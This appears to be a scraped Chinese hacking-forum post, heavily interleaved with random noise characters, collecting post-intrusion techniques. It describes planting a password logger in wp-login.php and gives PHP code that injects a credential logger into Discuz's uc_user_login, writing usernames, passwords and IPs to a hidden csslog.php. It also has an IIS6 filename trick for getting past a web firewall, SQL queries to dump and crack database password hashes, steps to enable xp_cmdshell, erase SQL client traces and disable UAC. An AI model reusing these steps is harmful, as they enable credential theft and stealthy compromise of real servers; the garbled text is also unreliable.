. g4 L$ D4 g0 I9 {4 s: A就是搜索case ‘login’) X0 k% I* f0 z- M9 J. ^5 P8 t
在它下面直接插入即可,记录的密码生成在pwd.txt中,* }* ?5 H) p- j+ Q2 ~8 w7 w6 s1 r
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录
4 |, ?( s7 v$ G9 X1 r l利用II6文件解析漏洞绕过安全狗代码:
+ t' k! W# b4 h2 [% B4 P/ [;antian365.asp;antian365.jpg
, g7 y2 U, e; }8 D
6 U/ I" Z# S5 ~) o/ H各种类型数据库抓HASH破解最高权限密码!: M8 e. F. Y6 v4 k; Q8 Z
1.sql server20002 l" w; o( O# t1 N
SELECT password from master.dbo.sysxlogins where name='sa'
- n: U% N+ z5 p" N9 I0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED2503414 ?2 I& Q* s) k1 W! t6 e6 u% V, l1 ]
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
7 c. V2 I8 X, x( B" N; u9 N6 t7 {8 ], G: X: I, V6 [
0×0100- constant header; y3 j0 x. Z% C7 e9 V$ A
34767D5C- salt
) J( A% Q) L+ L# n0 K0 C: Q0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash4 N/ X% _( t* q8 o: c/ `( Z
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash6 }. n0 f: f, R
crack the upper case hash in ‘cain and abel’ and then work the case sentive hash
5 D$ r! u5 O; V6 W6 uSQL server 2005:-
' t! M, s; B$ sSELECT password_hash FROM sys.sql_logins where name='sa'' `2 @$ R$ S" j: f/ O6 O
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
/ M2 M5 ?* Y0 ?) p0 q1 M! y! L; S0×0100- constant header
! I H- ~: [$ ~& g993BF231-salt
j: O4 e" ^) n$ H+ F. Z2 n% j& L5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
/ M* r& Z9 i* {( y, `+ }crack case sensitive hash in cain, try brute force and dictionary based attacks.1 X& ~/ I9 ]( {9 {' a* c
& z/ s! R1 Q* x$ j9 j1 g3 e& Eupdate:- following bernardo’s comments:-
3 c$ b9 w9 V1 t6 ruse function fn_varbintohexstr() to cast password in a hex string.( B: }+ {! a7 C0 e
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins+ E7 [; M( `' y7 {
3 V7 [& x. ~* I7 v% [" S9 k# J; XMYSQL:-
% y+ b' ?4 E; ]8 z. h# a( n
5 Y; s$ ?, v! Q1 x Q& IIn MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.% U- X3 F! F. a. b% i3 L8 U
- E' c6 z' J m+ \, \) l! t9 j* ?*mysql < 4.19 G, ]& ~$ N8 D9 l$ p- s" R
) N7 b! c" M1 y3 @/ D, d( J& p; q& mmysql> SELECT PASSWORD(‘mypass’);
) U5 J, ?& X* R7 K9 Q( p+——————–+
& E" a# S% Z1 P| PASSWORD(‘mypass’) |: m( r* w) x4 D+ w
+——————–+$ U+ o, {$ }, Z+ L& p$ i4 ]
| 6f8c114b58f2ce9e |( P+ g$ l/ u+ K/ V& P
+——————–+3 p8 Z/ r2 t/ k, }. j2 F+ b& E
$ y! \9 X; M) L7 `' D
*mysql >=4.1. a& ^/ s4 @9 z
" I: K) P1 _+ z* o! Y
mysql> SELECT PASSWORD(‘mypass’);
7 K8 G* I- \; S. k3 u; N( K- H" y+——————————————-+
( o5 [1 q8 S3 d- f8 K| PASSWORD(‘mypass’) | [+ Y- T" R, s9 J7 n* p
+——————————————-+0 Z$ Z. c v* A' p
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
; k6 r' T8 z" x9 l; \4 {$ h+——————————————-+$ Y$ Z6 E) U/ _
( r y# a' Q# h% n# e1 L2 Z. E+ pSelect user, password from mysql.user
C' e6 t- Y0 k* G) bThe hashes can be cracked in ‘cain and abel’
% E4 u8 P% K# R M0 M2 ~
4 V' G% L: d) s' G( f: u0 ~: e+ w- SPostgres:-
8 Y. T6 c1 r" @& S2 f7 oPostgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)( h" A1 G; m a5 B3 k
select usename, passwd from pg_shadow;4 v$ i+ B0 t8 F& F4 u+ @; ^
usename | passwd* c8 y, M J3 s! h( J2 V
——————+————————————-
# V- ]7 ?, B- mtestuser | md5fabb6d7172aadfda4753bf0507ed4396# L" m) e- u+ F, h5 d4 x
use mdcrack to crack these hashes:-
, V* }& G8 K5 o* Z8 B$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396
* ~) B, N5 g, k1 T) z+ f+ d o. t. W7 v% F. E# n
Oracle:-3 W- a6 ?; y$ e
select name, password, spare4 from sys.user$
* W: Y- }3 V! N8 M% B6 whashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g
! W/ G% Y/ l& W% p; g3 KMore on Oracle later, i am a bit bored….
9 m1 A, ^9 | ?# n# S" u/ d* G$ C
! T" s* p, c7 i) `$ S/ p& Y+ b4 {6 R3 z
在sql server2005/2008中开启xp_cmdshell
4 N' {2 Q t) t0 M9 u-- To allow advanced options to be changed.
3 ^% x @% C0 S1 [. v% n; GEXEC sp_configure 'show advanced options', 1
8 S8 F3 f6 S7 c& LGO
8 {& M1 @! Y1 c-- To update the currently configured value for advanced options.
% I5 U3 u6 N$ |6 w [RECONFIGURE
+ l, f9 R2 b1 Q( C- Z) c! ~7 QGO0 A7 R7 V+ f8 |" M% z
-- To enable the feature. B: a5 ^8 t; ]1 A
EXEC sp_configure 'xp_cmdshell', 1
+ ~* c6 n! R! ?* d6 M/ L" t. aGO$ v& l2 r' T6 {) r
-- To update the currently configured value for this feature.* y: h: r/ q4 ~
RECONFIGURE
5 u* R/ A; ?* MGO
; ?2 }$ m, g, p2 p) j5 gSQL 2008 server日志清除,在清楚前一定要备份。
. e% o! d d' _ h: o7 U( _如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:
1 a7 Y6 b8 I$ U; J+ y6 s4 XX:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin$ B/ b7 l6 _9 j; h
$ c9 z% r5 X* h6 r4 z) h/ W* A对于SQL Server 2008以前的版本:- d( V8 s$ G8 G; ^/ u
SQL Server 2005:
& R8 X1 C1 S) d0 s删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat1 K& A- [) P9 N2 T: ^& V# o0 U- p
SQL Server 2000:) ~3 M" W0 O8 {5 A% E8 Y7 c1 f
清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers\相应的内容即可。
6 v- Y( q; P# q: h# V! u. e2 }) \" a/ ~* q8 q
本帖最后由 simeon 于 2013-1-3 09:51 编辑
k# {* i' G5 \0 e* Z7 g6 C) }: E( V8 B B& y0 D# \
9 A" q! T8 V! }* W( o
windows 2008 文件权限修改* B0 x, e# Q6 @9 i6 ~5 t
1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx
7 m7 @' u6 H! B9 L, e2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98
* k! H, u9 y8 U一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,' c' ^3 }5 V. S+ p6 d) _1 V+ e' S
! y7 n& c" J/ v8 }2 \& k! ^Windows Registry Editor Version 5.00, |* h: F2 f' Y. D7 x
[HKEY_CLASSES_ROOT\*\shell\runas], x& m/ J5 g3 ^6 H
@="管理员取得所有权"
* a+ R, ^/ P8 l5 Z5 ~2 k( H4 d"NoWorkingDirectory"=""' v2 Z5 Y* n- o! e" L$ s
[HKEY_CLASSES_ROOT\*\shell\runas\command]4 M+ e& M. I& M; H! [
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
( |4 x- C3 e% _: z t4 Q: }$ l5 o"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"8 A- Q$ s$ e) H6 L/ b, `" u
[HKEY_CLASSES_ROOT\exefile\shell\runas2]
7 E& q' m3 E7 L- ^; V@="管理员取得所有权"
: Q* r7 X' Y+ O"NoWorkingDirectory"=""
; k' k: x( H* N7 u7 P[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]
* p+ S+ T3 P0 h9 a/ W@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
2 w w$ k% U8 ] v7 A6 R"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
% ^! ~+ W+ F- X! ?$ N
$ o* v" f% W' t8 a6 ~& i[HKEY_CLASSES_ROOT\Directory\shell\runas]8 ^8 Z. L R! e, O* A/ Q: j! o) \( k
@="管理员取得所有权"
9 L1 P0 r, Q3 P4 M) W2 B! }"NoWorkingDirectory"=""
5 _: L* C p. b8 O[HKEY_CLASSES_ROOT\Directory\shell\runas\command]6 p5 V+ f, }% B
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
( D1 u; H7 Y8 [7 L# ~"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
' n' E5 Z" M0 N' N5 [& w1 L& F$ x" P; N$ O# o$ Q
L |4 k9 g: s; O( q$ U
win7右键“管理员取得所有权”.reg导入0 d" @ y0 O8 `' Z" q
二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,1 j+ l: \1 R1 }6 s5 M
1、C:\Windows这个路径的“notepad.exe”不需要替换( i Q$ _+ N" F+ g3 k
2、C:\Windows\System32这个路径的“notepad.exe”不需要替换
5 Q) N" G" a, E L9 u6 y3、四个“notepad.exe.mui”不要管. d! W" {0 q% K9 w( k) u3 u5 D2 _" S! Z! d: ~
4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和' L. b8 Y, k3 v& e# F4 y
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”
4 |- Y- @! h; N+ @* e0 Z替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,+ p; m8 J( W+ o; p9 Y8 Q
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。9 Y) C* w; A, }4 `
windows 2008中关闭安全策略: & t6 l& ?: M$ i" w& D
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
/ ]0 ]0 D: U, g4 P! I修改uc_client目录下的client.php 在1 c8 J3 D" H% Y4 a7 D+ k$ `
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {3 r2 _" t% ]0 ]
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
' x- l9 b/ d4 |5 {" ?3 W你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
) J1 O0 u0 k# r7 m5 F0 C7 y8 pif(getenv('HTTP_CLIENT_IP')) {
4 A7 u; Z5 g& C) }$onlineip = getenv('HTTP_CLIENT_IP');! ]6 j3 G& K+ c% ^2 e6 f0 U0 E
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {9 c( ^ E' W, N2 m
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
7 x2 b, `, q# k( S( d} elseif(getenv('REMOTE_ADDR')) {
+ ]% C) o& A% q* W2 D$onlineip = getenv('REMOTE_ADDR');. C2 Y8 V) W4 x: ?5 `( r
} else {
3 @$ V7 r% N7 _. f0 O$ I$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
. m3 l" m; J0 z- I3 P* m( C}$ r. |3 W0 Q; B% f% X8 ]) j1 ?
$showtime=date("Y-m-d H:i:s");6 j4 H: m( J) n" R
$record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";6 A1 A# ~+ n) |
$handle=fopen('./data/cache/csslog.php','a+');
! q* K9 y6 s z* U $write=fwrite($handle,$record); |